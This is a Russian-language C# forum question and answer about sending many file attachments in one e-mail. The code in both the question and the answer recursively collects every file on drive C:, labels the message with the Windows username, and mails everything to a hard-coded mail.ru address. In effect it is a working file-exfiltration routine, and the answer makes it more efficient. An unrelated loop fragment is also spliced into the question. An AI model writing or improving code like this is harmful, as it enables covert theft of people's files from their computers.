Прикрепить вложения к e-mail по очереди - C#
Формулировка задачи:
Тут фрагмент программы, которая ищет файлы по определенной маске и отправляет на почту.Я хочу чтобы в цикле вложения добавлялись одно за другим, а затем отправлялись одним сообщением.
что-то типа к sendfile(n-1) добавить sendfile(n).
То есть совместить вложения, чтобы они отправлялись одним сообщением, а не по очереди.
что-то в роде:
try
{
string[] files = Directory.GetFiles(@"C:", "*", SearchOption.AllDirectories);
foreach (string f in files)
{
string from = "removed@mail.ru";
string to = "removed@mail.ru";
string subject = Environment.UserName;
string text = "";
text = text + f + "\n";
message = new MailMessage(from, to, subject, text);
Attachment sendfile = new Attachment(f);
message.Attachments.Add(sendfile);
}
try
{
client.Send(message);
Console.WriteLine("Message send");
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}
catch (Exception ex) { Console.WriteLine(ex.ToString()); }int n=..., t1=0, t2=0;
while(...)
{
t1=n;
n=t1+t2;
t2=n;
}Решение задачи: «Прикрепить вложения к e-mail по очереди»
textual
Листинг программы
message = new MailMessage();
message.From = "clfdf2303@mail.ru";
message.To.Add("clfdf2303@mail.ru");
message.Subject = Environment.UserName;
foreach (string f in files)
{
text = text + f + "\n";
Attachment sendfile = new Attachment(f);
message.Attachments.Add(sendfile);
}
message.Body = text;